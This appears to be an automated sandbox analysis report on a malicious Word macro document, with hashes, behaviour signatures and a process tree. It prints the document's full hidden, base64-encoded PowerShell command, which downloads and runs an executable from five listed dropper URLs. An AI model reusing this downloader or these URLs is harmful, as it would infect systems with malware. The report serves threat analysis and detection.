Analysis

  • max time kernel
    133s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 19:59

General

  • Target

    74ffc7a97a4840221c7e8c3892ff054a087db1bd136beffa5848846a3caa3fcc.doc

  • Size

    177KB

  • MD5

    6d801d954271f11111d92b722ecf451d

  • SHA1

    35c3e6ae44e5b268fd5a8aa4f86339b46781261d

  • SHA256

    74ffc7a97a4840221c7e8c3892ff054a087db1bd136beffa5848846a3caa3fcc

  • SHA512

    85dbe6b556052333c94446575d6e5108e05bfd32d8750d455973d8336cf518de886661a6e46726cedb7cb22569bf7c25aaa05e095da4027ae302c730d0792663

  • SSDEEP

    3072:y72y/GdynktGDWLS0HZWD5w8K7Nk96D7IBU6ZB0zstySfNllXe:y72k43tGiL3HJk96D7bs0z0rllX

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.yadegarebastan.com/wp-content/mhear/

exe.dropper

http://bikerzonebd.com/wp-admin/89gw/

exe.dropper

http://shptoys.com/_old/bvGej/

exe.dropper

http://www.vestalicom.com/facturation/qgm0t/

exe.dropper

http://www.aliounendiaye.com/wp-content/f3hs6j/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\74ffc7a97a4840221c7e8c3892ff054a087db1bd136beffa5848846a3caa3fcc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4576
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2804
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABVAGwAegBiAHIAegB1AHQAaABjAGQAcQB6AD0AJwBGAGYAcgBlAHAAZwBxAGkAJwA7ACQAUABrAHoAbgBlAGQAdQB0AHIAIAA9ACAAJwAxADcANwAnADsAJABSAHkAdwB6AGMAdABpAGwAZgB6AGoAbgBlAD0AJwBSAGIAZABtAHQAYQBnAGMAeQAnADsAJABQAGgAYQBrAGkAcAB2AHQAYwBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAGsAegBuAGUAZAB1AHQAcgArACcALgBlAHgAZQAnADsAJABOAHIAcABkAGMAdgBiAHIAPQAnAFcAaAB6AGoAaQBuAGEAYwB2AHMAbgBrAGgAJwA7ACQAUQBxAHAAZwBwAHoAbgB1AGEAdABuAHAAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFMAYwB5AHAAZwBnAGcAbQBuAHYAbQB4AHMAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB5AGEAZABlAGcAYQByAGUAYgBhAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBtAGgAZQBhAHIALwAqAGgAdAB0AHAAOgAvAC8AYgBpAGsAZQByAHoAbwBuAGUAYgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADkAZwB3AC8AKgBoAHQAdABwADoALwAvAHMAaABwAHQAbwB5AHMALgBjAG8AbQAvAF8AbwBsAGQALwBiAHYARwBlAGoALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB2AGUAcwB0AGEAbABpAGMAbwBtAC4AYwBvAG0ALwBmAGEAYwB0AHUAcgBhAHQAaQBvAG4ALwBxAGcAbQAwAHQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBhAGwAaQBvAHUAbgBlAG4AZABpAGEAeQBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZgAzAGgAcwA2AGoALwAnAC4AIgBTAFAAYABMAEkAVAAiACgAJwAqACcAKQA7ACQARgBzAGgAeQBrAHYAeQBsAGEAZwByAD0AJwBXAG8AbQBtAGwAbAB1AHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AdABsAHkAZQBjAHoAdQAgAGkAbgAgACQAUwBjAHkAcABnAGcAZwBtAG4AdgBtAHgAcwApAHsAdAByAHkAewAkAFEAcQBwAGcAcAB6AG4AdQBhAHQAbgBwAC4AIgBEAGAATwB3AG4AYABMAGAAbwBBAGQARgBJAEwAZQAiACgAJABPAHQAbAB5AGUAYwB6AHUALAAgACQAUABoAGEAawBpAHAAdgB0AGMAawApADsAJABMAG0AZgBhAGMAdwBvAGQAPQAnAE8AeABjAHQAdAB4AGEAeQB3AHkAZAByAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAGgAYQBrAGkAcAB2AHQAYwBrACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMwA4ADcAMgA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAGEAcgB0ACIAKAAkAFAAaABhAGsAaQBwAHYAdABjAGsAKQA7ACQARgBhAHkAdgB2AHYAYgBwAHcAPQAnAFYAdgBwAG0AYwBnAHcAbwB6ACcAOwBiAHIAZQBhAGsAOwAkAFMAbwBsAHYAeABlAHoAdAB1AGgAdQB1AD0AJwBGAG8AZQBzAHYAbgB4AGgAcwBlAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBrAHYAagBnAHcAbQBoAGoAawA9ACcAVwBwAGMAcgB5AGIAYQB5AHkAeABzAHIAdwAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3052

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\413ED233.wmf

      Filesize

      444B

      MD5

      b66413ca29351e1ccb8fcc00ca592ead

      SHA1

      04898d49f32052213e7c958b8d63de3f8b195a41

      SHA256

      12ddc3628aa9dcd800e58afbf241862a2370c73454dfc24b50f0989bfca6a41c

      SHA512

      76d738fd1b07db9e23890e3b67b3504ec4ddaa3cd0c5f0283ee44db31a3bfb594543a3981ce74410405feab694eed26333d4fc0c0da6669d36207116a72e0e43

    • C:\Users\Admin\AppData\Local\Temp\TCDAD61.tmp\gb.xsl

      Filesize

      262KB

      MD5

      51d32ee5bc7ab811041f799652d26e04

      SHA1

      412193006aa3ef19e0a57e16acf86b830993024a

      SHA256

      6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

      SHA512

      5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jqvns14l.x0z.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

      Filesize

      2B

      MD5

      f3b25701fe362ec84616a93a45ce9998

      SHA1

      d62636d8caec13f04e28442a0a6fa1afeb024bbb

      SHA256

      b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

      SHA512

      98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

    • memory/3052-62-0x0000018F87B30000-0x0000018F87B52000-memory.dmp

      Filesize

      136KB

    • memory/4576-14-0x00007FFC03EF0000-0x00007FFC03F00000-memory.dmp

      Filesize

      64KB

    • memory/4576-19-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-8-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-9-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-10-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-12-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-13-0x00007FFC03EF0000-0x00007FFC03F00000-memory.dmp

      Filesize

      64KB

    • memory/4576-11-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-7-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-0-0x00007FFC05F50000-0x00007FFC05F60000-memory.dmp

      Filesize

      64KB

    • memory/4576-16-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-21-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-20-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-6-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-18-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-17-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-15-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-5-0x00007FFC05F50000-0x00007FFC05F60000-memory.dmp

      Filesize

      64KB

    • memory/4576-1-0x00007FFC05F50000-0x00007FFC05F60000-memory.dmp

      Filesize

      64KB

    • memory/4576-2-0x00007FFC45F6D000-0x00007FFC45F6E000-memory.dmp

      Filesize

      4KB

    • memory/4576-3-0x00007FFC05F50000-0x00007FFC05F60000-memory.dmp

      Filesize

      64KB

    • memory/4576-76-0x00007FFC45F6D000-0x00007FFC45F6E000-memory.dmp

      Filesize

      4KB

    • memory/4576-77-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-78-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4576-4-0x00007FFC05F50000-0x00007FFC05F60000-memory.dmp

      Filesize

      64KB